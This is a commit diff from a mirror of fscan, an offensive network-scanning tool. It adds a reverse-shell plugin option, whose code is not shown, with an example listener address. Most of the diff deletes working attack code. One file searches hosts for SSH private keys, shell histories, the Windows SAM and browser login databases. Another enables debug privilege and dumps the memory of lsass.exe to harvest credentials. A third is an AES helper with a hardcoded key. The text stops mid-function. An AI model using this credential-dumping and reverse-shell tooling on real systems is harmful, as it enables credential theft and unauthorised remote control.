mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
feat: 添加跨平台反弹Shell本地插件
新增功能: - 添加 reverseshell 本地插件,支持 Windows/Linux/macOS 反弹Shell - 新增 -rsh 命令行参数,用于指定反弹目标地址:端口 - 支持自动生成不同平台的反弹Shell命令 - 集成到现有本地插件架构中 代码重构: - 清理旧插件架构文件 (Plugins/*.go) - 统一使用新的模块化插件架构 - 修复 main.go 中的函数调用 - 更新可用插件列表和参数验证 技术细节: - Windows: PowerShell TCP反弹Shell - Linux/macOS: Bash TCP反弹Shell - 支持连接测试和错误处理 - 遵循现有插件架构模式
This commit is contained in:
parent
c72cd25e63
commit
fc6dd50377
@ -63,6 +63,9 @@ var (
|
|||||||
|
|
||||||
Shellcode string
|
Shellcode string
|
||||||
|
|
||||||
|
// 反弹Shell相关变量
|
||||||
|
ReverseShellTarget string
|
||||||
|
|
||||||
// Parse.go 使用的变量
|
// Parse.go 使用的变量
|
||||||
HostPort []string
|
HostPort []string
|
||||||
URLs []string
|
URLs []string
|
||||||
@ -218,6 +221,7 @@ func Flag(Info *HostInfo) {
|
|||||||
// 其他参数
|
// 其他参数
|
||||||
// ═════════════════════════════════════════════════
|
// ═════════════════════════════════════════════════
|
||||||
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||||
|
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||||
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||||
|
|
||||||
// 帮助参数
|
// 帮助参数
|
||||||
@ -364,12 +368,12 @@ func checkParameterConflicts() {
|
|||||||
if LocalMode {
|
if LocalMode {
|
||||||
if LocalPlugin == "" {
|
if LocalPlugin == "" {
|
||||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n")
|
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证本地插件名称
|
// 验证本地插件名称
|
||||||
validPlugins := []string{"fileinfo", "dcinfo", "minidump"}
|
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell"}
|
||||||
isValid := false
|
isValid := false
|
||||||
for _, valid := range validPlugins {
|
for _, valid := range validPlugins {
|
||||||
if LocalPlugin == valid {
|
if LocalPlugin == valid {
|
||||||
@ -380,7 +384,7 @@ func checkParameterConflicts() {
|
|||||||
|
|
||||||
if !isValid {
|
if !isValid {
|
||||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||||
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n")
|
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -234,6 +234,10 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangZH: "Shellcode",
|
LangZH: "Shellcode",
|
||||||
LangEN: "Shellcode",
|
LangEN: "Shellcode",
|
||||||
},
|
},
|
||||||
|
"flag_reverse_shell_target": {
|
||||||
|
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
|
||||||
|
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
|
||||||
|
},
|
||||||
"flag_language": {
|
"flag_language": {
|
||||||
LangZH: "语言: zh, en",
|
LangZH: "语言: zh, en",
|
||||||
LangEN: "Language: zh, en",
|
LangEN: "Language: zh, en",
|
||||||
|
127
Plugins/Base.go
127
Plugins/Base.go
@ -1,127 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"crypto/aes"
|
|
||||||
"crypto/cipher"
|
|
||||||
"encoding/base64"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"net"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ReadBytes 从连接读取数据直到EOF或错误
|
|
||||||
func ReadBytes(conn net.Conn) ([]byte, error) {
|
|
||||||
size := 4096 // 缓冲区大小
|
|
||||||
buf := make([]byte, size)
|
|
||||||
var result []byte
|
|
||||||
var lastErr error
|
|
||||||
|
|
||||||
// 循环读取数据
|
|
||||||
for {
|
|
||||||
count, err := conn.Read(buf)
|
|
||||||
if err != nil {
|
|
||||||
lastErr = err
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
result = append(result, buf[0:count]...)
|
|
||||||
|
|
||||||
// 如果读取的数据小于缓冲区,说明已经读完
|
|
||||||
if count < size {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果读到了数据,则忽略错误
|
|
||||||
if len(result) > 0 {
|
|
||||||
return result, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return result, lastErr
|
|
||||||
}
|
|
||||||
|
|
||||||
// 默认AES加密密钥
|
|
||||||
var key = "0123456789abcdef"
|
|
||||||
|
|
||||||
// AesEncrypt 使用AES-CBC模式加密字符串
|
|
||||||
func AesEncrypt(orig string, key string) (string, error) {
|
|
||||||
// 转为字节数组
|
|
||||||
origData := []byte(orig)
|
|
||||||
keyBytes := []byte(key)
|
|
||||||
|
|
||||||
// 创建加密块,要求密钥长度必须为16/24/32字节
|
|
||||||
block, err := aes.NewCipher(keyBytes)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("创建加密块失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取块大小并填充数据
|
|
||||||
blockSize := block.BlockSize()
|
|
||||||
origData = PKCS7Padding(origData, blockSize)
|
|
||||||
|
|
||||||
// 创建CBC加密模式
|
|
||||||
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
|
|
||||||
|
|
||||||
// 加密数据
|
|
||||||
encrypted := make([]byte, len(origData))
|
|
||||||
blockMode.CryptBlocks(encrypted, origData)
|
|
||||||
|
|
||||||
// base64编码
|
|
||||||
return base64.StdEncoding.EncodeToString(encrypted), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// AesDecrypt 使用AES-CBC模式解密字符串
|
|
||||||
func AesDecrypt(crypted string, key string) (string, error) {
|
|
||||||
// base64解码
|
|
||||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("base64解码失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
keyBytes := []byte(key)
|
|
||||||
|
|
||||||
// 创建解密块
|
|
||||||
block, err := aes.NewCipher(keyBytes)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("创建解密块失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建CBC解密模式
|
|
||||||
blockSize := block.BlockSize()
|
|
||||||
blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize])
|
|
||||||
|
|
||||||
// 解密数据
|
|
||||||
origData := make([]byte, len(cryptedBytes))
|
|
||||||
blockMode.CryptBlocks(origData, cryptedBytes)
|
|
||||||
|
|
||||||
// 去除填充
|
|
||||||
origData, err = PKCS7UnPadding(origData)
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(origData), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// PKCS7Padding 对数据进行PKCS7填充
|
|
||||||
func PKCS7Padding(data []byte, blockSize int) []byte {
|
|
||||||
padding := blockSize - len(data)%blockSize
|
|
||||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
|
||||||
return append(data, padtext...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// PKCS7UnPadding 去除PKCS7填充
|
|
||||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
|
||||||
length := len(data)
|
|
||||||
if length == 0 {
|
|
||||||
return nil, errors.New("数据长度为0")
|
|
||||||
}
|
|
||||||
|
|
||||||
padding := int(data[length-1])
|
|
||||||
if padding > length {
|
|
||||||
return nil, errors.New("填充长度无效")
|
|
||||||
}
|
|
||||||
|
|
||||||
return data[:length-padding], nil
|
|
||||||
}
|
|
1050
Plugins/DCInfo.go
1050
Plugins/DCInfo.go
File diff suppressed because it is too large
Load Diff
@ -1,10 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import "github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/shadow1ng/fscan/common/output"
|
|
||||||
|
|
||||||
func DCInfoScan(info *common.HostInfo) (err error) {
|
|
||||||
return nil
|
|
||||||
}
|
|
@ -1,218 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"runtime"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
// 文件扫描黑名单,跳过这些类型和目录
|
|
||||||
blacklist = []string{
|
|
||||||
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
|
|
||||||
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
|
|
||||||
}
|
|
||||||
|
|
||||||
// 敏感文件关键词白名单
|
|
||||||
whitelist = []string{
|
|
||||||
"密码", "账号", "账户", "配置", "服务器",
|
|
||||||
"数据库", "备忘", "常用", "通讯录",
|
|
||||||
}
|
|
||||||
|
|
||||||
// Linux系统关键配置文件路径
|
|
||||||
linuxSystemPaths = []string{
|
|
||||||
// Apache配置
|
|
||||||
"/etc/apache/httpd.conf",
|
|
||||||
"/etc/httpd/conf/httpd.conf",
|
|
||||||
"/etc/httpd/httpd.conf",
|
|
||||||
"/usr/local/apache/conf/httpd.conf",
|
|
||||||
"/home/httpd/conf/httpd.conf",
|
|
||||||
"/usr/local/apache2/conf/httpd.conf",
|
|
||||||
"/usr/local/httpd/conf/httpd.conf",
|
|
||||||
"/etc/apache2/sites-available/000-default.conf",
|
|
||||||
"/etc/apache2/sites-enabled/*",
|
|
||||||
"/etc/apache2/sites-available/*",
|
|
||||||
"/etc/apache2/apache2.conf",
|
|
||||||
|
|
||||||
// Nginx配置
|
|
||||||
"/etc/nginx/nginx.conf",
|
|
||||||
"/etc/nginx/conf.d/nginx.conf",
|
|
||||||
|
|
||||||
// 系统配置文件
|
|
||||||
"/etc/hosts.deny",
|
|
||||||
"/etc/bashrc",
|
|
||||||
"/etc/issue",
|
|
||||||
"/etc/issue.net",
|
|
||||||
"/etc/ssh/ssh_config",
|
|
||||||
"/etc/termcap",
|
|
||||||
"/etc/xinetd.d/*",
|
|
||||||
"/etc/mtab",
|
|
||||||
"/etc/vsftpd/vsftpd.conf",
|
|
||||||
"/etc/xinetd.conf",
|
|
||||||
"/etc/protocols",
|
|
||||||
"/etc/logrotate.conf",
|
|
||||||
"/etc/ld.so.conf",
|
|
||||||
"/etc/resolv.conf",
|
|
||||||
"/etc/sysconfig/network",
|
|
||||||
"/etc/sendmail.cf",
|
|
||||||
"/etc/sendmail.cw",
|
|
||||||
|
|
||||||
// proc信息
|
|
||||||
"/proc/mounts",
|
|
||||||
"/proc/cpuinfo",
|
|
||||||
"/proc/meminfo",
|
|
||||||
"/proc/self/environ",
|
|
||||||
"/proc/1/cmdline",
|
|
||||||
"/proc/1/mountinfo",
|
|
||||||
"/proc/1/fd/*",
|
|
||||||
"/proc/1/exe",
|
|
||||||
"/proc/config.gz",
|
|
||||||
|
|
||||||
// 用户配置文件
|
|
||||||
"/root/.ssh/authorized_keys",
|
|
||||||
"/root/.ssh/id_rsa",
|
|
||||||
"/root/.ssh/id_rsa.keystore",
|
|
||||||
"/root/.ssh/id_rsa.pub",
|
|
||||||
"/root/.ssh/known_hosts",
|
|
||||||
"/root/.bash_history",
|
|
||||||
"/root/.mysql_history",
|
|
||||||
}
|
|
||||||
|
|
||||||
// Windows系统关键配置文件路径
|
|
||||||
windowsSystemPaths = []string{
|
|
||||||
"C:\\boot.ini",
|
|
||||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
|
||||||
"C:\\windows\\repair\\sam",
|
|
||||||
"C:\\windows\\system32\\config\\sam",
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
// LocalInfoScan 本地信息收集主函数
|
|
||||||
func LocalInfoScan(info *common.HostInfo) (err error) {
|
|
||||||
common.LogBase("开始本地信息收集...")
|
|
||||||
|
|
||||||
// 获取用户主目录
|
|
||||||
home, err := os.UserHomeDir()
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 扫描固定位置的敏感文件
|
|
||||||
scanFixedLocations(home)
|
|
||||||
|
|
||||||
// 根据规则搜索敏感文件
|
|
||||||
searchSensitiveFiles()
|
|
||||||
|
|
||||||
common.LogBase("本地信息收集完成")
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// scanFixedLocations 扫描固定位置的敏感文件
|
|
||||||
func scanFixedLocations(home string) {
|
|
||||||
var paths []string
|
|
||||||
|
|
||||||
switch runtime.GOOS {
|
|
||||||
case "windows":
|
|
||||||
// 添加Windows固定路径
|
|
||||||
paths = append(paths, windowsSystemPaths...)
|
|
||||||
paths = append(paths, []string{
|
|
||||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
|
||||||
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
|
|
||||||
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
|
||||||
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
|
||||||
}...)
|
|
||||||
|
|
||||||
case "linux":
|
|
||||||
// 添加Linux固定路径
|
|
||||||
paths = append(paths, linuxSystemPaths...)
|
|
||||||
paths = append(paths, []string{
|
|
||||||
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
|
|
||||||
filepath.Join(home, ".mozilla", "firefox"),
|
|
||||||
}...)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, path := range paths {
|
|
||||||
// 处理通配符路径
|
|
||||||
if strings.Contains(path, "*") {
|
|
||||||
var _ = strings.ReplaceAll(path, "*", "")
|
|
||||||
if files, err := filepath.Glob(path); err == nil {
|
|
||||||
for _, file := range files {
|
|
||||||
checkAndLogFile(file)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
checkAndLogFile(path)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkAndLogFile 检查并记录敏感文件
|
|
||||||
func checkAndLogFile(path string) {
|
|
||||||
if _, err := os.Stat(path); err == nil {
|
|
||||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// searchSensitiveFiles 搜索敏感文件
|
|
||||||
func searchSensitiveFiles() {
|
|
||||||
var searchPaths []string
|
|
||||||
|
|
||||||
switch runtime.GOOS {
|
|
||||||
case "windows":
|
|
||||||
// Windows下常见的敏感目录
|
|
||||||
home, _ := os.UserHomeDir()
|
|
||||||
searchPaths = []string{
|
|
||||||
"C:\\Users\\Public\\Documents",
|
|
||||||
"C:\\Users\\Public\\Desktop",
|
|
||||||
filepath.Join(home, "Desktop"),
|
|
||||||
filepath.Join(home, "Documents"),
|
|
||||||
filepath.Join(home, "Downloads"),
|
|
||||||
"C:\\Program Files",
|
|
||||||
"C:\\Program Files (x86)",
|
|
||||||
}
|
|
||||||
case "linux":
|
|
||||||
// Linux下常见的敏感目录
|
|
||||||
home, _ := os.UserHomeDir()
|
|
||||||
searchPaths = []string{
|
|
||||||
"/home",
|
|
||||||
"/opt",
|
|
||||||
"/usr/local",
|
|
||||||
"/var/www",
|
|
||||||
"/var/log",
|
|
||||||
filepath.Join(home, "Desktop"),
|
|
||||||
filepath.Join(home, "Documents"),
|
|
||||||
filepath.Join(home, "Downloads"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 在限定目录下搜索
|
|
||||||
for _, searchPath := range searchPaths {
|
|
||||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 跳过黑名单目录和文件
|
|
||||||
for _, black := range blacklist {
|
|
||||||
if strings.Contains(strings.ToLower(path), black) {
|
|
||||||
return filepath.SkipDir
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查白名单关键词
|
|
||||||
for _, white := range whitelist {
|
|
||||||
fileName := strings.ToLower(info.Name())
|
|
||||||
if strings.Contains(fileName, white) {
|
|
||||||
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,319 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/sys/windows"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"syscall"
|
|
||||||
"unsafe"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
TH32CS_SNAPPROCESS = 0x00000002
|
|
||||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
|
||||||
MAX_PATH = 260
|
|
||||||
|
|
||||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
|
||||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
|
||||||
|
|
||||||
ERROR_SUCCESS = 0
|
|
||||||
)
|
|
||||||
|
|
||||||
type PROCESSENTRY32 struct {
|
|
||||||
dwSize uint32
|
|
||||||
cntUsage uint32
|
|
||||||
th32ProcessID uint32
|
|
||||||
th32DefaultHeapID uintptr
|
|
||||||
th32ModuleID uint32
|
|
||||||
cntThreads uint32
|
|
||||||
th32ParentProcessID uint32
|
|
||||||
pcPriClassBase int32
|
|
||||||
dwFlags uint32
|
|
||||||
szExeFile [MAX_PATH]uint16
|
|
||||||
}
|
|
||||||
|
|
||||||
type LUID struct {
|
|
||||||
LowPart uint32
|
|
||||||
HighPart int32
|
|
||||||
}
|
|
||||||
|
|
||||||
type LUID_AND_ATTRIBUTES struct {
|
|
||||||
Luid LUID
|
|
||||||
Attributes uint32
|
|
||||||
}
|
|
||||||
|
|
||||||
type TOKEN_PRIVILEGES struct {
|
|
||||||
PrivilegeCount uint32
|
|
||||||
Privileges [1]LUID_AND_ATTRIBUTES
|
|
||||||
}
|
|
||||||
|
|
||||||
// ProcessManager 处理进程相关操作
|
|
||||||
type ProcessManager struct {
|
|
||||||
kernel32 *syscall.DLL
|
|
||||||
dbghelp *syscall.DLL
|
|
||||||
advapi32 *syscall.DLL
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建新的进程管理器
|
|
||||||
func NewProcessManager() (*ProcessManager, error) {
|
|
||||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &ProcessManager{
|
|
||||||
kernel32: kernel32,
|
|
||||||
dbghelp: dbghelp,
|
|
||||||
advapi32: advapi32,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
|
||||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
|
||||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
|
||||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
|
||||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
|
||||||
}
|
|
||||||
return handle, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
|
||||||
var pe32 PROCESSENTRY32
|
|
||||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
|
||||||
|
|
||||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
|
||||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
|
||||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
|
||||||
|
|
||||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
|
||||||
if ret == 0 {
|
|
||||||
return 0, fmt.Errorf("获取第一个进程失败")
|
|
||||||
}
|
|
||||||
|
|
||||||
for {
|
|
||||||
ret, _, _ = lstrcmpi.Call(
|
|
||||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
|
||||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
|
||||||
)
|
|
||||||
|
|
||||||
if ret == 0 {
|
|
||||||
return pe32.th32ProcessID, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
|
||||||
if ret == 0 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
|
||||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
|
||||||
proc.Call(handle)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) ElevatePrivileges() error {
|
|
||||||
handle, err := pm.getCurrentProcess()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
var token syscall.Token
|
|
||||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
|
||||||
}
|
|
||||||
defer token.Close()
|
|
||||||
|
|
||||||
var tokenPrivileges TOKEN_PRIVILEGES
|
|
||||||
|
|
||||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
|
||||||
ret, _, err := lookupPrivilegeValue.Call(
|
|
||||||
0,
|
|
||||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
|
||||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
|
||||||
)
|
|
||||||
if ret == 0 {
|
|
||||||
return fmt.Errorf("查找特权值失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tokenPrivileges.PrivilegeCount = 1
|
|
||||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
|
||||||
|
|
||||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
|
||||||
ret, _, err = adjustTokenPrivileges.Call(
|
|
||||||
uintptr(token),
|
|
||||||
0,
|
|
||||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
if ret == 0 {
|
|
||||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
|
||||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
|
||||||
handle, _, _ := proc.Call()
|
|
||||||
if handle == 0 {
|
|
||||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
|
||||||
}
|
|
||||||
return syscall.Handle(handle), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
|
||||||
processHandle, err := pm.openProcess(pid)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer pm.closeHandle(processHandle)
|
|
||||||
|
|
||||||
fileHandle, err := pm.createDumpFile(outputPath)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer pm.closeHandle(fileHandle)
|
|
||||||
|
|
||||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
|
||||||
ret, _, err := miniDumpWriteDump.Call(
|
|
||||||
processHandle,
|
|
||||||
uintptr(pid),
|
|
||||||
fileHandle,
|
|
||||||
0x00061907, // MiniDumpWithFullMemory
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
|
|
||||||
if ret == 0 {
|
|
||||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
|
||||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
|
||||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
|
||||||
if handle == 0 {
|
|
||||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
|
||||||
}
|
|
||||||
return handle, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
|
||||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
|
|
||||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
|
||||||
handle, _, err := createFile.Call(
|
|
||||||
uintptr(unsafe.Pointer(pathPtr)),
|
|
||||||
syscall.GENERIC_WRITE,
|
|
||||||
0,
|
|
||||||
0,
|
|
||||||
syscall.CREATE_ALWAYS,
|
|
||||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
|
||||||
0,
|
|
||||||
)
|
|
||||||
|
|
||||||
if handle == INVALID_HANDLE_VALUE {
|
|
||||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return handle, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 查找目标进程
|
|
||||||
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
|
||||||
snapshot, err := pm.createProcessSnapshot()
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
defer pm.closeHandle(snapshot)
|
|
||||||
|
|
||||||
return pm.findProcessInSnapshot(snapshot, name)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否具有管理员权限
|
|
||||||
func IsAdmin() bool {
|
|
||||||
var sid *windows.SID
|
|
||||||
err := windows.AllocateAndInitializeSid(
|
|
||||||
&windows.SECURITY_NT_AUTHORITY,
|
|
||||||
2,
|
|
||||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
|
||||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
|
||||||
0, 0, 0, 0, 0, 0,
|
|
||||||
&sid)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
defer windows.FreeSid(sid)
|
|
||||||
|
|
||||||
token := windows.Token(0)
|
|
||||||
member, err := token.IsMember(sid)
|
|
||||||
return err == nil && member
|
|
||||||
}
|
|
||||||
|
|
||||||
func MiniDump(info *common.HostInfo) (err error) {
|
|
||||||
// 先检查管理员权限
|
|
||||||
if !IsAdmin() {
|
|
||||||
common.LogError("需要管理员权限才能执行此操作")
|
|
||||||
return fmt.Errorf("需要管理员权限才能执行此操作")
|
|
||||||
}
|
|
||||||
|
|
||||||
pm, err := NewProcessManager()
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
|
|
||||||
return fmt.Errorf("初始化进程管理器失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 查找 lsass.exe
|
|
||||||
pid, err := pm.FindProcess("lsass.exe")
|
|
||||||
if err != nil {
|
|
||||||
common.LogError(fmt.Sprintf("查找进程失败: %v", err))
|
|
||||||
return fmt.Errorf("查找进程失败: %v", err)
|
|
||||||
}
|
|
||||||
common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
|
|
||||||
|
|
||||||
// 提升权限
|
|
||||||
if err := pm.ElevatePrivileges(); err != nil {
|
|
||||||
